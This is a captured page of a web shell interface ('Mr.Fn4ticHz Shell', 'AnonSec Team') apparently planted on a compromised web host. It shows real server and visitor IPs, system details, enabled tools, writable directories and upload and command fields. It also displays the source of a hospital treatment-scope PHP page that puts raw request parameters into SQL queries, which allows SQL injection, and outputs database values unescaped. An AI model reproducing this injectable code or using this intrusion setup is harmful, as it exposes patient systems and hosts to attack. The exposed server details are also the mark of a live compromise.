Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.118.253.223
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/update_treatmentscope.php

<?php
session_start();
require_once('../DBManager.php');
require_once('../patientmanager.php');
include 'workdeskmenu.php';
include 'header.php';
include("dbconnection.php");
if(isset($_POST[signup]))
{
    $sql="UPDATE create_inhouse SET scope='$_POST[scope]',sample_urgent='$_POST[sample_urgent]',sample_urgent_duration='$_POST[sample_urgent_duration]',sample_normal='$_POST[sample_normal]',	sample_normal_duration='$_POST[sample_normal_duration]',	report_urgent='$_POST[report_urgent]',report_urgent_duration='$_POST[report_urgent_duration]',report_normal='$_POST[report_normal]',sample_normal='$_POST[sample_normal]',sample_normal_duration='$_POST[sample_normal_duration]',report_normal='$_POST[report_normal]',report_normal_duration='$_POST[report_normal_duration]',rate='$_POST[rate]'  WHERE 	ivid='$_GET[ivid]' AND hospitalid='$_POST[hospitalid]'";
if($qsql = mysqli_query($con,$sql))
		{
	echo "<script>alert('Update successfully');</script><script>
 window.history.go(-2)</script>";
}
}
?>
 <link rel="stylesheet" href="assets/style.css">
  <center>	<h3 class='code'> Treatment Scope	</h3>
<?php 
include("dbconnection.php");
 $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
$sqlpatient1 = "SELECT * FROM create_inhouse where hospitalid='$rs[entered_by]' AND ivid='$_GET[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
if($rsn = mysqli_fetch_array($qsqlpatient1))
		{
			    echo "
<form name='signup' method='post'>
<input type='hidden' name='hospitalid' value='$rs[entered_by]'>
		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table id='example2' width='100%' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Scope :  </td>
<td width='50%'><select name='scope'>
 <option value='$rsn[scope]'>$rsn[scope]</option>
<option value='Available'>Available</option>
   <option value='Not Available'>Not Available</option>
</select></td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Rate:  </td>
<td width='50%'><input type='number' value='$rsn[rate]' name='rate'></td>
</tr>


<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Duration of Stay(Days)</td>
  <td width='50%'><input type='number' name='sample_normal_duration' value='$rsn[sample_normal_duration]'></td>  
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Medication :  </td>
<td width='50%'><select name='report_urgent'>
 <option value='' disabled selected>$rsn[report_urgent] </option>
  <option value='Included'>Included in package</option>
   <option value='Excluded'>Excluded in package</option>
</select></td>
</tr>
</table>

 <table id='example2' class='table table-bordered table-hover'>
<tr>
";
}
}
?>
<td><button type="submit" name="signup">Update</butoon>
</tr>
</table>
</div>
</form>
<html>
           <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
h2 {
  color: #4287f5;
}
</style>
               
           </head>
    <body>
     
  
		</body>
  </html>

Anon7 - 2022
AnonSec Team